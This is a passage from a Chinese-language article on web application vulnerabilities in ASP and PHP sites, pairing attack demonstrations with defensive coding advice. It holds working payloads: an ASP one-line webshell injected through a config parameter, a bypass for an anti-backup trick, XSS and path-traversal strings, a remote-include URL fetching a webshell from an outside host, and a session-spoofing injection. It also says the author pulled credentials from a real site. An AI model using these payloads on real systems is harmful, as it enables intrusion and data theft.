3)程序參數允許寫入文件
在對“藍木企業管理系統”進行分析的時候發現現在有很多程序在后臺允許設置的參數是允許寫入文件的。這個做的問題就是允許我們構造特殊的語句,將一個參數保存文件改造為一個木馬,當提交的表單對文本域的長度進行限制的時候我們可以構造一個一句話木馬,沒有過濾的話,我們就可以直接寫入一個大馬了。所以建議程序員養成良好的習慣,將參數數據都保存到數據庫中,不要保存到文件里,避免類似情況的發生。
下面我們以藍木企業管理系統為例,進行演示:
這里的所有參數都是寫入到setup.asp這個文件里的
因為他并沒有對寫入的參數進行任何的過濾,所以我們可以手工寫入參數,對語句進行提前結束,然后得到一個一句話后門。我們這里修改網站名稱好了,改為:
測試"%><%execute request("value")%><%a="1
發現修改后的配置文件內容變為
訪問setup.asp返回
證明構造一句話木馬成功,接下來就是上傳大馬,這里就不詳細演示了。
4)mdb數據庫改用ASP\ASA等名字作為數據庫擴展名
自從網上出現了下載默認數據庫文件進行密碼爆破,從而得到后臺權限的入侵例子,很多站長開始盲目的跟隨改數據庫文件名的潮流,將mdb數據庫改為asp或asa在過去確實可以防止下載,但是后來網上陸續出現了各種下載軟件支持下載asp文件,人們可以下載完后改名得到數據庫。
數據庫被下載還不是最可怕的,一個asp擴展名的數據庫在構造一句話木馬的時候利用價值是非常大的,入侵者可以在任何可以對數據庫寫入數據的地方像數據庫寫入精心構造的一句話木馬,成功寫入只要尋找一個具有寫權限的目錄,即可生成一個webshell
當然這樣的問題只存在于數據庫路徑已知、存在暴庫漏洞、后臺允許備份數據庫為指定文件名等情況下
那么防止數據庫被下載的辦法有如下幾種:
1.給數據庫名稱添加特殊符號 例如:#@$database.mdb
2.修改數據庫擴展名例如:database.jsp(前提是你的服務器不支持jsp否則將可能被利用來構造一句話木馬)
3.將數據庫放到網站上層目錄,然后使用絕對路徑進行調用,現在很多空間提供商都提供這樣的功能
例如:網站目錄D:\www\test\wwwroot
上層路徑存在一個專門用來存放數據庫的文件夾database
那么在數據庫調用時候使用
D:\www\test\database\database.mdb
這樣只要數據庫文件不在網站當前目錄下,入侵者就無法下載了。
4.為數據庫添加一個新表,表里的內容是十六進制數據:3C25206C6F6F70203C25
也就是<% loop <%,這個時候如果往數據庫里添加一句話,企圖備份為asp的話,就會出現錯誤
但是這個辦法并不是絕對安全的,所謂“上有政策下有對策“。這個辦法很快就被破解了,破解的辦法是:構造語句
<%'<% loop <%:%>
只要我們在數據庫里的兩個地方合適地插入<%'和:%>
即可將loop的防下載給過濾掉
所以為了更好的保護我們的數據庫,我個人建議網站編寫者最好在數據庫里添加loop防下載代碼,同時提醒用戶修改數據庫默認名稱并將數據庫放到網站的上層目錄中。
5)后臺顯示數據庫路徑
現在有很多網站程序后臺有帶類似asp探針一類的功能,可以顯示網站的絕對路徑以及數據庫的文件名稱,這個功能對于一個網站建設者來說沒有什么實用價值,到是它給入侵者帶來的價值更高。很多時候知道網站路徑即可進行跳轉和寫入木馬,而知道數據庫路徑的話問題更為嚴重:可以下載數據庫獲取更多信息和客戶資料、運氣好的話還可以寫入一句話木馬。
所以后臺顯示網站路徑及數據庫路徑和名稱這個功能盡量避免使用。
6)數據庫可備份修改擴展
備份數據庫——一個典型的獲取webshell的辦法,通過上傳一個jpg或者其他格式的木馬,然后通過備份得到一個asp、php、jsp的webshell,所以現在很多網站程序在備份的時候都是由系統自動生成的文件名,不允許用戶自定義。其實數據庫備份這個功能完全不必要,加入網站被刪除,數據庫肯定會被黑客刪除。最好的備份方式是自己手工備份到本地電腦。
7 )文件管理部分傳遞參數過濾問題及外部提交
這個漏洞的典型例子就是Ewebeditor
他的uploadfile.asp等文件中就存在著典型的參數外部提交,導致入侵者可以由瀏覽器提交需要列出文件的路徑,從而達到任意目錄瀏覽的目的,可以瀏覽目錄就可以知道數據庫路徑,從而獲得更高的信息和權限。
這里dir的值是從瀏覽器獲取的,而且沒有進行過濾,所以我們手工構造下就可以跳轉到任意目錄了
允許瀏覽任意目錄的同時伴隨的允許下載任意文件,例如數據庫連接配置文件conn.asp或者你可以直接瀏覽得到數據庫名稱,并對其進行下載。所以網站編寫中對于文件管理這個功能的編寫一定要盡可能的避免允許外部提交參數并且對目錄的訪問進行過濾和限制。
8)XSS漏洞騙取cookies得到后臺權限
這里有一段簡單的檢測代碼:<script>alert("測試");</script>
將這段代碼插入到你的網站可以提交數據的地方,例如:留言本,論壇,新聞。等的標題位置,或者內容位置,提交后訪問對應的留言或者文章,如果彈出窗口
則說明這個位置存在Xss漏洞。關于xss的漏洞的詳細說明和利用辦法這里不具體了解了。我們就來說說它的危害。
一個普通的xss代碼可以用來掛馬,但是一個精心構造的xss代碼卻可以用來滲透,盜取管理員cookies,然后在本地修改cookies從而得到后臺權限。當然xss的功能之強大不僅限于此。我們所要知道的就是,一定要注意在網站程序編寫過程中對代碼和數據的過濾進行嚴格處理,用主動防御的一句話叫做“寧可錯殺一千,也不放過一個“。
另外提供一個解決方案:
對用戶的cookies進行加密處理,后臺用戶使用session驗證。
因為session是保存在服務器的。所以即使cookies被盜取,入侵者無法在session對象消失以前進行操作的話,也無法得到更深入的權限。
9)任意文件下載漏洞
典型的例子就是新云,由于下載文件時候允許從地址欄提交文件路徑。導致用戶可以構造路徑下載網站數據庫配置文件,從而得到后臺權限
例:
http://www.xxx.com/flash/downfile.asp?url=uploadfile/../../conn.asp
這個漏洞同樣出現在了黑客防線的網站上。
黑客防線使用的程序是”喬客” CMS 3.0 通過這個漏洞,我們得到了數據庫帳號密碼。
可惜是內網數據庫,沒有webshell的前提下我們無法進行深入的檢測了。
由此我們可以看出,任意文件下載漏洞有多么可怕.所以對編寫下載網站程序的程序員提出下面幾點注意事項:
1. 下載文件路徑保存進數據庫,禁止外部提交
2. 假如入侵者已經得到后臺權限,或者在前臺允許自己提交資源連接(自己構造一個conn.asp的下載路徑)依然可以下載指定文件,所以一定要對文件路徑進行過濾
3. 對下載文件類型進行過濾,設置允許下載的格式
10 )遠程包含漏洞
這個漏洞夠強悍,直接得到webshell,還好這個漏洞只存在于PHP中。我們來簡單說明下漏洞形成原因:
<?php
include($include."/a.php");
?>
$include已經設置好路徑,但是我們可以通過構造一個路徑來達到攻擊的目的.
比方說我們提交:
http://www.xxx.com/index.php?include=http://www.ccc.com/muma.txt?
就可以輕松獲得一個webshell。解決辦法是關閉全局變量。4.2版本以后都是默認關閉的,為了就是解決這個問題,所以也請廣大服務器管理員注意跟新服務器上的第三方程序版本。
11)使用未加密的cookies進行用戶權限等級及權限驗證
有很多網站程序員圖方便,和節約服務器資源,使用cookies來驗證用戶信息。導致入侵者可以通過修改本地cookies進行入侵。而session對象雖然比較安全,但由于是保存在服務器上,30分鐘不活動才會自動清理出內存,所以消耗資源非常大。相對折中的處理辦法是:
對于前臺用戶使用加密的cookies而后臺用戶則使用session這樣一來不但提高效率和減少資源消耗,還提高了安全性。因為后臺用戶數量少,而且使用session也可以降低Xss的成功率。
12)session對象欺騙
去年在邪惡八進制論壇上看到的才知道有session欺騙這個說法,session欺騙的最低條件是必須拿下同服務器的一個其他站點,也就是我們說的旁注。
因為session是保存在服務器上的,所以必須將構造好的session欺騙用的文件上傳到旁注到的站點里,才能對服務器里的session進行欺騙。下面就是一個session欺騙的實例:
這段代碼將session寫入了數據庫
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失敗"
else
response.write "修改成功"
end if
%>
我們可以通過構造進行session注入
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>
同樣我們可以利用這個構造修改用戶ID或者權限:
<%
Session("UserID")="105"
%>
Session(“”)里面的內容根據不同程序使用的名稱而定
看論壇里的人測試過,證明可行。
所以服務器的安全設置對于一個網站的安全性也是非常重要的
所以下一次我將為大家帶來關于服務器安全漏洞分析和設置的相關文章,敬請期待!